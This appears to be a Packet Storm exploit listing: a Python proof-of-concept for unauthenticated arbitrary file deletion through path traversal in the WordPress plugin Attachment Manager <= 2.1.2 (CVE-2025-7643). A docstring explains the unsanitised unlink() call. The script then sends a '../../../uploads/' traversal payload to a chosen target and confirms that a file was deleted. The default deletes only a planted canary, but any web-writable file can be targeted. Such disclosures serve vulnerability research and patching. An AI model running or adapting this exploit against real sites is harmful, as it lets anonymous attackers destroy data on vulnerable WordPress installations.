Share
## https://sploitus.com/exploit?id=PACKETSTORM:226457
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Attachment Manager <= 2.1.2 - Unauthenticated Arbitrary File Deletion (Path Traversal)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/attachment-manager/
    # Software Link: https://downloads.wordpress.org/plugin/attachment-manager.2.1.2.zip
    # Version: 2.1.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-7643
    r"""
    Attachment Manager <= 2.1.2 hooks handle_actions() on `init` (wp-attachment-manager.php:74), so it
    runs on any front-end request with no authentication. The `remove` action unlinks a file built from
    the RAW `$_GET['icon']` (wp-attachment-manager.php:430) โ€” the preg_replace('/[^\w-]/','',...) on the
    line above sanitises only the settings-array KEY, not the unlink path:
    
        unset($this->_settings['icons'][ preg_replace('/[^\w-]/','', $_GET['icon']) ]);
        if (is_writable($this->_icon_dir.'/'.$_GET['icon']) && @unlink($this->_icon_dir.'/'.$_GET['icon'])) ...
    
    $this->_icon_dir defaults to wp-content/plugins/attachment-manager/icons, so
    icon=../../../uploads/<file> traverses to wp-content/uploads and deletes any web-writable file. No
    nonce, no capability check.
    
    Prior state: plugin active. A canary is planted in wp-content/uploads to demonstrate deletion.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--icon", default="../../../uploads/canary_am.txt",
                        help="path relative to the plugin icons/ dir (default deletes the canary)")
        ap.add_argument("--canary-url", default="/wp-content/uploads/canary_am.txt")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        before = requests.get(base + args.canary_url, verify=False).status_code
        r = requests.get(base + "/", params={"page": "attachment_manager", "action": "remove",
                         "icon": args.icon}, allow_redirects=False, verify=False, timeout=20)
        print(f"[*] Target: {base}")
        print(f"[*] remove '{args.icon}' -> HTTP {r.status_code} :: {r.headers.get('Location','')}")
        after = requests.get(base + args.canary_url, verify=False).status_code
        print(f"[*] canary {before} -> {after}")
        if before == 200 and after == 404:
            print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ€” unauthenticated attacker deleted the canary "
                  "via path traversal.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())